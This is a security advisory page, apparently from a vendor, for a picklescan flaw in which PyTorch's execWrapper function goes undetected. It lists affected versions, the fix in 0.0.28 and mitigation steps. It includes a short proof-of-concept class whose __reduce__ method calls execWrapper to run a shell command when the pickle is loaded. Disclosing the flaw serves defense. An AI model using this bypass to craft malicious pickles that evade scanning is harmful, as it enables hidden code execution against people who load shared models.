GHSA-vr7h-p6mm-wpmh — picklescan
Fix: mmaitre314/picklescan#47GHSA-vr7h-p6mm-wpmh is a Deserialization of Untrusted Data vulnerability in picklescan. A fix is available for picklescan — see the affected versions and patch details below.
Picklescan missing detection when calling pytorch function torch.jit.unsupported_tensor_ops.execWrapper
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-vr7h-p6mm-wpmh.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
picklescanReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Using torch.jit.unsupported_tensor_ops.execWrapper function, which is a pytorch library function to execute remote pickle file.
Details
The attack payload executes in the following steps:
First, the attacker craft the payload by calling to torch.jit.unsupported_tensor_ops.execWrapper function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.
PoC
import torch.jit.unsupported_tensor_ops as unsupported_tensor_ops
class EvilTorchJitUnsupportedTensorOpsExecWrapper:
def __reduce__(self):
code = '__import__("os").system("whoami")'
glob = {}
loc = {}
return unsupported_tensor_ops.execWrapper, (code, glob, loc)
Impact
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
Corresponding
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | picklescan | all versions | 0.0.28pip install --upgrade 'picklescan==0.0.28' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for picklescan, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update picklescan to 0.0.28 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-vr7h-p6mm-wpmh is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-vr7h-p6mm-wpmh can be triaged on real exposure rather than presence alone.
Tailored to GHSA-vr7h-p6mm-wpmh. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-vr7h-p6mm-wpmh in your dependencies?
O3 Security finds GHSA-vr7h-p6mm-wpmh across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.